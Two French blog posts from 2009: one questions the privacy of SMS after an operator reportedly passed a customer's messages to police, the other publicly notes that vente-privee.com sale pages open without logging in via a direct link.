A ma connaissance les SMS sont soumis au meme traitement que les appels téléphoniques, c'est a dire qu'une écoute n'est autorisée qu'avec un
mandat fourni par les autorités et non de manière automatisé. Donc dans le cas présent, l'opérateur du jeune homme, Bouygues pour ne pas le
nommer, a écouté les SMS et transmis ce signalement a la police. On peut donc supposer que ceci est fait pour tous nos SMS chez cet
opérateur. J'ai du rater une étape car pour moi cela va a l'encontre de toutes les lois sur les libertés individuelles. Certes il a des cas
particuliers, comme la LEN, ou l'hébergeur se doit d'avoir connaissance des sites hébergés sur ses serveurs mais je n'ai jamais eu connaissance
d'une loi similaire pour les SMS.
On peut donc se demander ce qu'il en ai pour tous nos SMS, toutes nos communications téléphoniques, nos emails ...
De plus le SMS été un moyen utilisé pour sécuriser des projets comme les banques avec le OTP SMS ou meme l'envoi d'identifiant par SMS
ou meme encore des opérateurs comme Orange ... Quid de la confidentialité ?
Un autre lien sur le sujet : http://www.clubic.com/actualite-274298-sms-derailler-un-train-24-heures-garde-a-vue.html
30-04-2009 20:54:51
[Secu] Vente-privee.com, un site vraiment privee ?
J'ai constaté que le site vente-privee.com n'était pas
aussi privée que ca. En effet meme déconnecté, il
suffit de mettre le lien direct vers une vente pour la visualiser. Je
trouve assez étrange un comportement pareil du site ... Certes ce
n'est pas réellement une vulnérabilité sauf si ce
n'est pas désiré :) De plus ce n'est pas du tout logique
et permet de voir le nombre de connecté ou de tenter de
manipulé des pages sans etre authentifié et donc
retrouvé.
Je publie ici car il n'y a aucun lien pour reporter un bug sur leur
site.
Démo : http://fr.vente-privee.com/vp4/contents/DIESEL38/FR/catalog_D4577L6H2Z/ikDirId409834.aspx
Bien sur ce lien ne marche qu'un temps mais cela fonctionne pour toutes
les pages de ventes.
